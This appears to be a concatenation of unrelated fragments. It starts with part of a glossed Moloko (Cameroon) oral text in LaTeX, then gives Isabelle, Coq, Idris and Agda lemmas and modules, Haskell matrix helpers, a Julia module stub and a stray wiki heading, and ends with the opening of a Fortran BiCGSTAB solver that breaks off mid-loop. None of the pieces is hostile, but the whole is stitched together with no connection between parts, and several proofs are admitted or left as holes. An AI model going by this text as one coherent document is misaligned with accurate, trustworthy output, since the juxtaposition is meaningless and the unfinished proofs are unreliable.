\oldstylenums{3}\textsc{p}+{\IFV}-do =on hate {\NEG}\\
\glt ‘On top of that, they divided it without hate.’ (lit. they did no hate)
\z
\ea Nde ehe na, \\
\gll ndɛ ɛhɛ na \\
so here {\PSP} \\
\glt ‘So, here,’\\
\medskip
cəcəngehe na məze ahay tandaɗay məze asabay pat.\\
\gll tʃɪtʃɪŋgɛhɛ na mɪʒɛ =ahaj ta-ndaɗ-aj mɪʒɛ asa-baj pat\\
now {\PSP} person =Pl \oldstylenums{3}\textsc{p}-like-{\CL} person again-{\NEG} all\\
\glt ‘[and] now, people don’t like each other at all any more.’
\z
\ea Se məze amədeɗe məze ehe na, cəcəngehe na, se ngomna. \\
\gll ʃɛ mɪʒɛ amɪ-dɛɗ-ɛ mɪʒɛ ɛhɛ na tʃɪtʃɪŋgɛhɛ na ʃɛ ŋgʷɔmna\\
only person {\DEP}-like-{\CL} person here {\PSP} now {\PSP} only government \\
\glt ‘The only person that likes people now is the government.’ (sarcastic)\\
\z
\ea Ngomna na, ele aga kə wəyen aka na,\\
\gll ŋgʷɔmna na ɛlɛ à-g-a kə wijɛŋ aka na\\
government {\PSP} thing \oldstylenums{3}\textsc{s}+{\PFV}-do-{\CL} on earth on {\PSP} \\
\glt ‘The government, [if] there is a problem (lit. a thing does) on the earth,’\\
\medskip
ndahan na ágas na təta.\\
\gll ndahaŋ na á-gas na təta\\
\oldstylenums{3}\textsc{s} {\PSP} \oldstylenums{3}\textsc{s}+{\IFV}-catch \oldstylenums{3}\textsc{s}.{\DO} ability\\
\glt ‘it (the government) will be able to take care of it.’ (lit. he, he can catch it)
\z
\ea Waya ləme Məloko ahay na, nəmbəɗom a dəray ava na, \\
\gll waja lɪmɛ Mʊlɔkʷɔ =ahaj na n\`ə-mbʊɗ-ɔm a dəraj ava na\\
because \oldstylenums{1}\textsc{Pex} Moloko =Pl {\PSP} {\PFV}-change-\oldstylenums{1}\textsc{Pex} at head in {\PSP}\\
\glt ‘Because we the Moloko, have become' (lit. changed in our head), \\
\medskip
ka kərkaɗaw ahay nə hərgov ahay ga a ɓərzlan ava na,\\
\gll ka kərkaɗaw =ahaj nə hʊrgʷɔv =ahaj ga a ɓərɮaŋ ava na\\
like monkey =Pl with baboon =Pl {\ADJ} at mountain in {\PSP}\\
\glt ‘like monkeys and baboons on the mountains,’\\
\medskip
ka ala kəra na, nəsərom dəray bay pat. \\
\gll ka =ala kəra na n\`ə-sʊr-ɔm dəraj baj pat \\
like =to dog {\PSP} \oldstylenums{1}+{\PFV}-know-\oldstylenums{1}\textsc{Pex} head {\NEG} all\\
\glt ‘[and] like dogs, we don’t understand anything!’
\z
\ea Kə wəyen aka ehe tezl tezlezl.\\
\gll kə wijɛŋ aka ɛhɛ {tɛɮ tɛɮɛɮ}\\
on earth on here \textsc{id}hollow\\
\glt ‘[Among the people] on earth here, [we are like] the sound of a hollow cup bouncing on the ground.’ (lit. on the earth here, hollow)
\z
\ea Nde məze ahay gogor ahay ga na, ngama.\\
\gll ndɛ mɪʒɛ =ahaj gʷɔgʷɔr =ahaj ga na ŋgama\\
so person =Pl elder =Pl {\ADJ} {\PSP} better\\
\glt ‘So, our elders [have it] better.’
\z
\ea {Epele epele} na me, Hərmbəlom anday agas ta \\
\gll {ɛpɛlɛ ɛpɛlɛ} na mɛ Hʊrmbʊlɔm à-ndaj à-gas ta\\
{in the future} {\PSP} opinion God \oldstylenums{3}\textsc{s}+{\PFV}-{\PROG} \oldstylenums{3}\textsc{s}+{\PFV}-catch \oldstylenums{3}\textsc{p}.{\DO} \\
\glt ‘In the future in my opinion, God is going to accept them [the elders]’\\
\medskip
a ahar ava re.\\
\gll a ahar ava rɛ\\
at hand in sure\\
\glt ‘in his hands, in spite [of what the church says].’
\z
\ea Ádal hwəsese ga.\\
\gll á-dal hʷʊʃɛʃɛ ga\\
\oldstylenums{3}\textsc{s}+{\IFV}-surpass small {\ADJ}\\
\glt ‘He is greater than the small ones.’
\z
\ea Nde na, kəygehe.\\
\gll ndɛ na kijgɛhɛ\\
so {\PSP} {like this}\\
\glt ‘So [it is] like this.’
\z
|
Formal statement is: lemma continuous_on_components_open: fixes S :: "'a::real_normed_vector set" assumes "open S " "\<And>c. c \<in> components S \<Longrightarrow> continuous_on c f" shows "continuous_on S f" Informal statement is: If $f$ is continuous on each component of an open set $S$, then $f$ is continuous on $S$. |
Load LFindLoad.
From lfind Require Import LFind.
From QuickChick Require Import QuickChick.
From adtind Require Import goal4.
Derive Show for natural.
Derive Arbitrary for natural.
Instance Dec_Eq_natural : Dec_Eq natural.
Proof. dec_eq. Qed.
Derive Show for lst.
Derive Arbitrary for lst.
Instance Dec_Eq_lst : Dec_Eq lst.
Proof. dec_eq. Qed.
Lemma conj15eqsynthconj4 : forall (lv0 : lst), (@eq natural (len lv0) (len (append lv0 Nil))).
Admitted.
QuickChick conj15eqsynthconj4.
|
lemma diameter_bounded_bound: fixes S :: "'a :: metric_space set" assumes S: "bounded S" "x \<in> S" "y \<in> S" shows "dist x y \<le> diameter S" |
import Data.Vect
Position : Type
Position = (Double, Double)
Polygon : Nat -> Type
Polygon n = Vect n Position
StringOrInt : Bool -> Type
StringOrInt False = String
StringOrInt True = Int
getStringOrInt : (isInt : Bool) -> StringOrInt isInt
getStringOrInt False = "false"
getStringOrInt True = 1
valToString : (isInt : Bool) -> StringOrInt isInt -> String
valToString False y = ?valToString_rhs_2
valToString True y = ?valToString_rhs_3
|
{-# OPTIONS --prop --without-K #-}
module Data.Nat.Square where
open import Data.Nat
open import Data.Nat.Properties
open import Relation.Nullary
open import Relation.Binary
open import Relation.Binary.PropositionalEquality as Eq using (_≡_; refl)
_² : ℕ → ℕ
n ² = n * n
n^2≡n² : ∀ n → n ^ 2 ≡ n ²
n^2≡n² n = Eq.cong (n *_) (*-identityʳ n)
²-mono : _² Preserves _≤_ ⟶ _≤_
²-mono m≤n = *-mono-≤ m≤n m≤n
|
module Twicer
import public Numeric
%default total
-- TODO: fix the hole ?pr by using even nat instead of integer
public export
||| Guaranteed to produce a value divisible by 2
twicer : Integer -> EvenInteger
twicer b = ((2 * wfb) ** (Factor (wfb ** (?pr)))) where
wfb : WFInt
wfb = cast b
|
(* Title: HOL/Auth/n_germanSimp_lemma_inv__32_on_rules.thy
Author: Yongjian Li and Kaiqiang Duan, State Key Lab of Computer Science, Institute of Software, Chinese Academy of Sciences
Copyright 2016 State Key Lab of Computer Science, Institute of Software, Chinese Academy of Sciences
*)
header{*The n_germanSimp Protocol Case Study*}
theory n_germanSimp_lemma_inv__32_on_rules imports n_germanSimp_lemma_on_inv__32
begin
section{*All lemmas on causal relation between inv__32*}
lemma lemma_inv__32_on_rules:
assumes b1: "r \<in> rules N" and b2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__32 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)"
proof -
have c1: "(\<exists> i d. i\<le>N\<and>d\<le>N\<and>r=n_Store i d)\<or>
(\<exists> i. i\<le>N\<and>r=n_RecvReqS N i)\<or>
(\<exists> i. i\<le>N\<and>r=n_RecvReqE__part__0 N i)\<or>
(\<exists> i. i\<le>N\<and>r=n_RecvReqE__part__1 N i)\<or>
(\<exists> i. i\<le>N\<and>r=n_SendInv__part__0 i)\<or>
(\<exists> i. i\<le>N\<and>r=n_SendInv__part__1 i)\<or>
(\<exists> i. i\<le>N\<and>r=n_SendInvAck i)\<or>
(\<exists> i. i\<le>N\<and>r=n_RecvInvAck i)\<or>
(\<exists> i. i\<le>N\<and>r=n_SendGntS i)\<or>
(\<exists> i. i\<le>N\<and>r=n_SendGntE N i)\<or>
(\<exists> i. i\<le>N\<and>r=n_RecvGntS i)\<or>
(\<exists> i. i\<le>N\<and>r=n_RecvGntE i)"
apply (cut_tac b1, auto) done
moreover {
assume d1: "(\<exists> i d. i\<le>N\<and>d\<le>N\<and>r=n_Store i d)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_StoreVsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_RecvReqS N i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_RecvReqSVsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_RecvReqE__part__0 N i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_RecvReqE__part__0Vsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_RecvReqE__part__1 N i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_RecvReqE__part__1Vsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_SendInv__part__0 i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_SendInv__part__0Vsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_SendInv__part__1 i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_SendInv__part__1Vsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_SendInvAck i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_SendInvAckVsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_RecvInvAck i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_RecvInvAckVsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_SendGntS i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_SendGntSVsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_SendGntE N i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_SendGntEVsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_RecvGntS i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_RecvGntSVsinv__32) done
}
moreover {
assume d1: "(\<exists> i. i\<le>N\<and>r=n_RecvGntE i)"
have "invHoldForRule s f r (invariants N)"
apply (cut_tac b2 d1, metis n_RecvGntEVsinv__32) done
}
ultimately show "invHoldForRule s f r (invariants N)"
by satx
qed
end
|
[STATEMENT]
lemma order_trans: "\<lbrakk> order r; x \<sqsubseteq>\<^sub>r y; y \<sqsubseteq>\<^sub>r z \<rbrakk> \<Longrightarrow> x \<sqsubseteq>\<^sub>r z"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. \<lbrakk>order r; x \<sqsubseteq>\<^bsub>r\<^esub> y; y \<sqsubseteq>\<^bsub>r\<^esub> z\<rbrakk> \<Longrightarrow> x \<sqsubseteq>\<^bsub>r\<^esub> z
[PROOF STEP]
(*<*)
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. \<lbrakk>order r; x \<sqsubseteq>\<^bsub>r\<^esub> y; y \<sqsubseteq>\<^bsub>r\<^esub> z\<rbrakk> \<Longrightarrow> x \<sqsubseteq>\<^bsub>r\<^esub> z
[PROOF STEP]
by (unfold order_def) blast |
The limit of the inverse of $x$ as $x$ approaches $0$ from the right is infinity. |
[STATEMENT]
lemma (in -) distinct_length_le:"finite s \<Longrightarrow> set xs \<subseteq> s \<Longrightarrow> distinct xs \<Longrightarrow> length xs \<le> card s"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. \<lbrakk>finite s; set xs \<subseteq> s; distinct xs\<rbrakk> \<Longrightarrow> length xs \<le> card s
[PROOF STEP]
by (metis card_mono distinct_card) |
module Models
using ..FastAI
using BSON
using Flux
using Zygote
using DataDeps
include("layers.jl")
include("blocks.jl")
include("xresnet.jl")
include("unet.jl")
export xresnet18, xresnet50, UNetDynamic
end
|
module Search.Negation
import Data.List.Quantifiers
import Data.Nat
%default total
||| It is much easier to look for positive evidence than it is to look
||| for negative evidence. So instead of looking for `Not q`, we may
||| want to look for `p` instead
public export
interface Negates p q | q where
toNegation : p -> Not q
public export
({0 x : a} -> Negates (p x) (q x)) => Negates (All p xs) (Any q xs) where
toNegation all = allNegAny (mapProperty toNegation all)
public export
({0 x : a} -> Negates (p x) (q x)) => Negates (Any p xs) (All q xs) where
toNegation any = anyNegAll (mapProperty toNegation any)
public export
Negates (m `LT` n) (m `GTE` n) where
toNegation = LTImpliesNotGTE
public export
Negates (m `LTE` n) (m `GT` n) where
toNegation = LTEImpliesNotGT
|
= = Fact and fiction = =
|
lemma eventually_floor_eq: fixes f::"'a \<Rightarrow> 'b::{order_topology,floor_ceiling}" assumes f: "(f \<longlongrightarrow> l) F" and l: "l \<notin> \<int>" shows "\<forall>\<^sub>F x in F. floor (f x) = floor l" |
[STATEMENT]
lemma set_rel_empty_eq: "(S,S')\<in>\<langle>X\<rangle>set_rel \<Longrightarrow> S={} \<longleftrightarrow> S'={}"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. (S, S') \<in> \<langle>X\<rangle>set_rel \<Longrightarrow> (S = {}) = (S' = {})
[PROOF STEP]
by (auto simp: set_rel_def) |
lemma LIM_unique: "f \<midarrow>a\<rightarrow> L \<Longrightarrow> f \<midarrow>a\<rightarrow> M \<Longrightarrow> L = M" for a :: "'a::perfect_space" and L M :: "'b::t2_space" |
module Libraries.Data.List.Quantifiers.Extra
import Data.List
import Data.List.Quantifiers
import Decidable.Equality
%default total
export
lookup : {xs : List a} -> DecEq a => (v : a) -> All p xs -> Maybe (p v)
lookup v [] = Nothing
lookup v (px :: pxs)
= case decEq (head xs) v of
No _ => lookup v pxs
Yes Refl => Just px
export
(++) : All p xs -> All p ys -> All p (xs ++ ys)
[] ++ pys = pys
(px :: pxs) ++ pys = px :: (pxs ++ pys)
export
tabulate : ((x : a) -> p x) -> (xs : List a) -> All p xs
tabulate f [] = []
tabulate f (x :: xs) = f x :: tabulate f xs
|
module MatrixPlus where
import Numeric.LinearAlgebra as N
import Test.QuickCheck
dummyMatrix :: (Field a) => Matrix a
dummyMatrix = (0 N.><0) []
mapMatrix :: (Field a)
=> (a -> a)
-> Matrix a
-> Matrix a
mapMatrix f x = (r N.><c) y
where x' = toList (flatten x)
y = map f x'
r = rows x
c = cols x
zipMatricesWith :: (Field a)
=> (a -> a -> a)
-> Matrix a
-> Matrix a
-> Matrix a
zipMatricesWith f x y = (r N.><c) z
where x' = toList (flatten x)
y' = toList (flatten y)
z = zipWith f x' y'
r = rows x
c = cols x
hadamardProduct :: (Field a)
=> Matrix a
-> Matrix a
-> Matrix a
hadamardProduct = zipMatricesWith (*)
average :: (Field a)
=> Matrix a
-> a
average m = sum ms / fromIntegral (length ms)
where ms = toList (flatten m)
magnitude :: (Field a, Floating a)
=> Matrix a
-> a
magnitude x =
if cols x == 1
then sqrt (sum xsxs)
else error "not a column vector"
where xs = toList (flatten x)
xsxs = zipWith (*) xs xs
pseudoMagnitude :: (Field a, Floating a)
=> Matrix a
-> a
pseudoMagnitude m = sqrt (sum msms)
where ms = toList (flatten m)
msms = zipWith (*) ms ms
-- | Inputs, outputs and targets are represented as column vectors instead of lists
type ColumnVector a = Matrix a
-- | Convert a list to a column vector
listToColumnVector :: (Ord a, Field a)
-- | the list to convert
=> [a]
-- | the resulting column vector
-> ColumnVector a
listToColumnVector x = (len N.><1 ) x
where len = length x
-- | Convert a column vector to a list
columnVectorToList :: (Ord a, Field a)
-- | The column vector to convert
=> ColumnVector a
-- | The resulting list
-> [a]
columnVectorToList = toList . flatten
-- | Testable property:
-- | If we take a non-empty list, we should be able to convert it to a column vector
-- | and back, and get the result we started with.
-- | To test this property, in GHCi type: quickCheck prop_tocolumnVectorToListRoundtrippable
prop_tocolumnVectorToListRoundtrippable :: [Double] -> Property
prop_tocolumnVectorToListRoundtrippable x =
(length x > 0) ==>
-- collect x $ -- uncomment to view test data
(columnVectorToList (listToColumnVector x) == x)
|
subroutine z_solbicgstab(aak ,bbk ,cck ,aak2 ,cck2 , &
& bbka ,bbkc ,ddk ,kmax ,icx , &
& icy ,nmmax ,nst ,kfsz0 ,pnhcor , &
& pj ,rj ,vj ,dinv ,pbbk , &
& pbbkc ,p1 ,rjshadow ,sj ,sjprec , &
& tj ,kfs ,kfsmin ,kfsmx0 ,gdp )
!----- GPL ---------------------------------------------------------------------
!
! Copyright (C) Stichting Deltares, 2011-2016.
!
! This program is free software: you can redistribute it and/or modify
! it under the terms of the GNU General Public License as published by
! the Free Software Foundation version 3.
!
! This program is distributed in the hope that it will be useful,
! but WITHOUT ANY WARRANTY; without even the implied warranty of
! MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
! GNU General Public License for more details.
!
! You should have received a copy of the GNU General Public License
! along with this program. If not, see <http://www.gnu.org/licenses/>.
!
! contact: [email protected]
! Stichting Deltares
! P.O. Box 177
! 2600 MH Delft, The Netherlands
!
! All indications and logos of, and references to, "Delft3D" and "Deltares"
! are registered trademarks of Stichting Deltares, and remain the property of
! Stichting Deltares. All rights reserved.
!
!-------------------------------------------------------------------------------
! $Id: z_solbicgstab.f90 5717 2016-01-12 11:35:24Z mourits $
! $HeadURL: https://svn.oss.deltares.nl/repos/delft3d/tags/6686/src/engines_gpl/flow2d3d/packages/kernel/src/non_hydro/z_solbicgstab.f90 $
!!--description-----------------------------------------------------------------
!
! Solves system of equations.
! BiCGSTAB-method.
!
!!--pseudo code and references--------------------------------------------------
!
! do
!
! breakdown = 0
! iter = 0
! initialize
!
! do iter = iter+1,nhiter
! calculate
! if (BiCGSTAB breaks down) then
! breakdown = 1
! exit
! endif
! if (solution is accurate enough) then exit
! enddo
!
! if (breakdown == 0) then exit
! if (iter == nhiter) then exit
!
! enddo
!
!!--declarations----------------------------------------------------------------
use precision
use globaldata
!
implicit none
!
type(globdat),target :: gdp
!
! The following list of pointer parameters is used to point inside the gdp structure
!
integer , pointer :: m1_nhy
integer , pointer :: m2_nhy
integer , pointer :: n1_nhy
integer , pointer :: n2_nhy
integer , pointer :: nhiter
logical , pointer :: l2norm
real(fp) , pointer :: epsnh
real(fp) , pointer :: rel_epsnh
character(8), pointer :: precon
integer , pointer :: lundia
!
! Global variables
!
integer :: icx
integer :: icy
integer :: kmax ! Description and declaration in esm_alloc_int.f90
integer :: nmmax ! Description and declaration in dimens.igs
integer , intent(in) :: nst
integer , dimension(gdp%d%nmlb:gdp%d%nmub) :: kfs ! Description and declaration in esm_alloc_int.f90
integer , dimension(gdp%d%nmlb:gdp%d%nmub) :: kfsmin ! Description and declaration in esm_alloc_int.f90
integer , dimension(gdp%d%nmlb:gdp%d%nmub) :: kfsmx0 ! Description and declaration in esm_alloc_int.f90
integer , dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: kfsz0 ! Description and declaration in esm_alloc_int.f90
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: aak
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: aak2
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: vj
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: bbk
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: bbka
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: bbkc
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: cck
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: cck2
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: ddk
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax), intent(in) :: dinv
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: p1 ! Description and declaration in esm_alloc_real.f90
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: pbbk
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: pbbkc
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: pj
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: rjshadow ! Extra array for BiCGSTAB
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: sj ! Extra array for BiCGSTAB
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: sjprec ! Extra array for BiCGSTAB
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: tj ! Extra array for BiCGSTAB
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: pnhcor ! Description and declaration in esm_alloc_real.f90
real(fp), dimension(gdp%d%nmlb:gdp%d%nmub, kmax) :: rj
!
! Local variables
!
integer :: ddb
integer :: icxy
integer :: iter
integer :: k
integer :: m
integer :: ndelta
integer :: nm
integer :: nmst
integer :: nmstart
integer :: breakdown ! is 0 if no breakdown has occured
integer :: maxbreakdowns ! maximum number of breakdowns until the calculation is aborted
integer :: ilu ! use ILU if ilu == 0, otherwise LU of tridiag(A)
real(fp) :: alpha
real(fp) :: beta
real(fp) :: rho_new
real(fp) :: rho_old
real(fp) :: omega
real(fp) :: conv
real(fp) :: rk ! unscaled equations, updated residual norm
real(fp) :: rk0 ! unscaled equations, updated residual norm
real(fp) :: rkinf ! unscaled equations, updated residual norm
real(fp) :: rkinf0 ! unscaled equations, updated residual norm
real(fp) :: rktrue ! unscaled equations, true residual 2-norm
real(fp) :: rkinftrue ! unscaled equations, true residual inf-norm
real(fp) :: normb ! unscaled equations, 2-norm of right hand side
real(fp) :: normbinf ! unscaled equations, inf-norm of right hand side
real(fp), external :: z_ainpro
character(30) :: errtxt
!
!! executable statements -------------------------------------------------------
!
m1_nhy => gdp%gdnonhyd%m1_nhy
m2_nhy => gdp%gdnonhyd%m2_nhy
n1_nhy => gdp%gdnonhyd%n1_nhy
n2_nhy => gdp%gdnonhyd%n2_nhy
nhiter => gdp%gdnonhyd%nhiter
l2norm => gdp%gdnonhyd%l2norm
epsnh => gdp%gdnonhyd%epsnh
rel_epsnh => gdp%gdnonhyd%rel_epsnh
precon => gdp%gdnonhyd%precon
lundia => gdp%gdinout%lundia
!
ddb = gdp%d%ddbound
icxy = max(icx, icy)
!
errtxt = ' ;NHITER: '
ndelta = n2_nhy - n1_nhy
nmstart = (n1_nhy+ddb) + (m1_nhy-1+ddb)*icxy
!
pj = 0.0_fp
iter = 0
!
! Enter restart-loop. Runs as long as there is a breakdown.
! Usually the loop is run only once, because breakdowns should be rare.
!
do
breakdown = 0
!
! Compute residual, shadow residual and initial search direction from rj.
!
call z_matpro(aak ,bbk ,cck ,aak2 ,cck2 , &
& bbka ,bbkc ,kmax ,icx ,icy , &
& nmmax ,kfsz0 ,pnhcor ,rj ,kfs , &
& kfsmin ,kfsmx0 ,gdp )
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
rj (nm,k) = ddk(nm,k) - rj(nm,k)
rjshadow(nm,k) = rj (nm,k)
pj (nm,k) = rj (nm,k)
endif
enddo
endif
enddo
enddo
!
! Compute norm of the right hand side.
!
normb = 0.0_fp
normbinf = 0.0_fp
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
normb = normb + ddk(nm,k)*ddk(nm,k)/(dinv(nm,k)*dinv(nm,k))
if (abs(ddk(nm,k)/dinv(nm,k)) > abs(normbinf)) then
normbinf = abs(ddk(nm,k) / dinv(nm,k))
endif
endif
enddo
endif
enddo
enddo
normb = sqrt(normb)
!
! Compute initial rho.
!
rho_new = z_ainpro(rj, rjshadow, kmax, kfs, kfsz0, icx, icy, gdp)
!
! Start iteration loop. When the loop is entered the first time, iter == 1.
! We start with iter+1. In the worst case, when BiCGSTAB breaks down every time
! it enters this loop, we ensure maximal 'nhiter' restarts of the algorithm.
! Noted that array p1 contains preconditioned search direction.
!
do iter = iter+1,nhiter
!
! Calculate the norms of the updated, unscaled residual.
!
rk = 0.0_fp
rkinf = 0.0_fp
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
rk = rk + rj(nm,k)*rj(nm,k)/(dinv(nm,k)*dinv(nm,k))
if (abs(rj(nm, k)/dinv(nm, k)) > abs(rkinf)) then
rkinf = abs(rj(nm,k) / dinv(nm,k))
endif
endif
enddo
endif
enddo
enddo
rk = sqrt(rk)
!
! Store initial residual norms.
!
if (iter==1) then
if (rk == 0.0d0) then
!
! Needed in case whole domain is dry
! Avoid division by zero, but assure convergence
!
rk = 0.1_fp*epsnh
endif
rk0 = rk
if (rkinf == 0.0d0) then
!
! Needed in case whole domain is dry
! Avoid division by zero, but assure convergence
!
rkinf = 0.1_fp*epsnh
endif
rkinf0 = rkinf
endif
!
! print convergence behaviour
! print *, 'number of iterations in CG:', iter
!
! If residual norm is small enough, then stop.
! Note that if the iter == 1 and the residual is already small enough,
! we don't need to iterate at all.
!
if (l2norm) then
if (rk < normb*rel_epsnh) exit
if (rk < epsnh) exit
else
if (rkinf < normbinf*rel_epsnh) exit
if (rkinf < epsnh) exit
endif
!
! Calculate the preconditioned search direction and store it in p1.
!
if (precon == 'ilu') then
call z_precon_ilu(aak ,bbk ,cck ,aak2 ,cck2 , &
& bbka ,bbkc ,kmax ,icx ,icy , &
& nmmax ,kfsz0 ,pj ,p1 ,kfs , &
& kfsmin ,kfsmx0 ,gdp )
endif
if (precon == 'tridiag') then
call z_precon(bbka ,bbkc ,pbbk ,pbbkc ,kmax , &
& icx ,icy ,nmmax ,kfsz0 ,pj , &
& p1 ,kfs ,kfsmin ,kfsmx0 ,gdp )
endif
if (precon=='none' .or. precon=='diag') then
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
p1(nm,k) = pj(nm,k)
endif
enddo
endif
enddo
enddo
endif
!
! Calculate A*p1 and store the result in vj.
!
call z_matpro(aak ,bbk ,cck ,aak2 ,cck2 , &
& bbka ,bbkc ,kmax ,icx ,icy , &
& nmmax ,kfsz0 ,p1 ,vj ,kfs , &
& kfsmin ,kfsmx0 ,gdp )
alpha = rho_new / z_ainpro(rjshadow, vj, kmax, kfs, kfsz0, icx, icy, gdp)
!
! Calculate scaled intermediate residual sj.
!
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst + ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
sj(nm,k) = rj(nm,k) - alpha*vj(nm,k)
endif
enddo
endif
enddo
enddo
!
! Calculate the preconditioned search direction and store it in sjprec.
!
if (precon == 'ilu') then
call z_precon_ilu(aak ,bbk ,cck ,aak2 ,cck2 , &
& bbka ,bbkc ,kmax ,icx ,icy , &
& nmmax ,kfsz0 ,sj ,sjprec ,kfs , &
& kfsmin ,kfsmx0 ,gdp )
endif
if (precon == 'tridiag') then
call z_precon(bbka ,bbkc ,pbbk ,pbbkc ,kmax , &
& icx ,icy ,nmmax ,kfsz0 ,sj , &
& sjprec ,kfs ,kfsmin ,kfsmx0 ,gdp )
endif
if (precon=='none' .or. precon=='diag') then
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
sjprec(nm,k) = sj(nm,k)
endif
enddo
endif
enddo
enddo
endif
!
! Calculate A*sjprec and store the result in tj.
!
call z_matpro(aak ,bbk ,cck ,aak2 ,cck2 , &
& bbka ,bbkc ,kmax ,icx ,icy , &
& nmmax ,kfsz0 ,sjprec ,tj ,kfs , &
& kfsmin ,kfsmx0 ,gdp )
omega = z_ainpro(tj, sj, kmax, kfs, kfsz0, icx, icy, gdp)
omega = omega / z_ainpro(tj, tj, kmax, kfs, kfsz0, icx, icy, gdp)
if (omega == 0) then
!
! We check if omega is zero because we do not want to divide by zero.
!
breakdown = 1
write (lundia,'(a)') 'RESTARTING: omega is zero, break down'
exit ! iteration loop
endif
!
! Calculate scaled solution pnhcor and scaled residual rj.
!
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
pnhcor(nm,k) = pnhcor(nm,k) + alpha*p1(nm,k) + omega*sjprec(nm,k)
rj(nm,k) = sj(nm,k) - omega*tj(nm,k)
endif
enddo
endif
enddo
enddo
rho_old = rho_new
rho_new = z_ainpro(rjshadow, rj, kmax, kfs, kfsz0, icx, icy, gdp)
if (rho_new == 0) then
!
! We check if rho_new is zero because we do not want to divide by zero.
!
breakdown = 1
write (lundia,'(a)') 'RESTARTING: rho is zero, break down'
exit ! iteration loop
endif
beta = (rho_new/rho_old) * (alpha/omega)
!
! compute new search direction
!
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
pj(nm,k) = rj(nm,k) + beta*(pj(nm,k) - omega*vj(nm,k))
endif
enddo
endif
enddo
enddo
!
! convergence check
!
if (iter == nhiter) then
write (errtxt(1:8), '(i8)') nst
write (errtxt(25:30), '(i6)') nhiter
call prterr(lundia ,'Z021' ,trim(errtxt) )
exit
endif
